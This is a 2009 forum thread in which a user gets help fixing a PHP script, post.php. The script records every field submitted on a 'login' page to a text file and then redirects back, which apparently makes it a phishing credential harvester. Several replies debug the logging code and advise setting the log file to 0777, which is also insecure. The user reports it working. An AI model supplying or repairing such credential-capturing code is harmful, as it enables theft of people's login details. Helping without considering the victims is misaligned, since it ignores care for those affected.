t3hub3rz Posted October 3, 2009 Share Posted October 3, 2009 Hi i was wondering if you could help me with my website I got it all set up but when i test it post.php never puts the things they put in, into the log.txt i have Please help Heres the login where they enter the stuff : http://rapidshare.com/files/288256499/index.html and post.php PHP Code: <?php header ('Location: index.html'); $handle = fopen("log.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?> Quote Link to comment Share on other sites More sharing options...
ProXy_ Posted October 3, 2009 Share Posted October 3, 2009 Well i'm not sure what your HTML file looks like. you could post it in here. i don't download anything from rapidshare. But from the looks of your current code. Maybe try specifying your post? you have: foreach($_POST as $variable => $value) { try this: foreach($_POST['name'] as $variable => $value) { hope this helps. Quote Link to comment Share on other sites More sharing options...
Alex Posted October 3, 2009 Share Posted October 3, 2009 You're just redirecting the script to index.html as soon as it's called.. header ('Location: index.html'); So chances are it isn't being executed. Try: <?php $handle = fopen("log.txt", "a"); foreach($_POST as $var => $val) fwrite($handle, "$var=$val\r\n"); fwrite($handle, "\r\n"); fclose($handle); Quote Link to comment Share on other sites More sharing options...
t3hub3rz Posted October 3, 2009 Author Share Posted October 3, 2009 when i enter it says Warning: fopen(log.txt) [function.fopen]: failed to open stream: Permission denied in /home/username/public_html/post.php on line 2 Warning: fwrite(): supplied argument is not a valid stream resource in /home/username/public_html/post.php on line 5 Warning: fclose(): supplied argument is not a valid stream resource in /home/username/public_html/post.php on line 6 could it be that my webhoster doesnt allow it? Quote Link to comment Share on other sites More sharing options...
ProXy_ Posted October 3, 2009 Share Posted October 3, 2009 log.txt, is this file 777 ?? chmod("log.txt", 0777); Quote Link to comment Share on other sites More sharing options...
t3hub3rz Posted October 3, 2009 Author Share Posted October 3, 2009 u mean its permisions? its permissions are 0730 Quote Link to comment Share on other sites More sharing options...
ProXy_ Posted October 3, 2009 Share Posted October 3, 2009 Permission 730 = Admin rights only. public has no access at all. not sure if thats what you want or not if so then if log.txt is in a sub DIR you have to change that to Permission 730 as well Quote Link to comment Share on other sites More sharing options...
t3hub3rz Posted October 3, 2009 Author Share Posted October 3, 2009 Edit: ok i did 0777 and it says that the log.txt isnt 0 bytes anymore everytime i do the login thing it goes up so im guessing its recording it but the text file is still blank Edit2: ok it looks like its trying to record it because everytime i try the login it goes to a new line in log.txt edit3: nvm i just used the old code now it works THANKS! Quote Link to comment Share on other sites More sharing options...
ProXy_ Posted October 3, 2009 Share Posted October 3, 2009 can i see your current php And the error it gives you. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.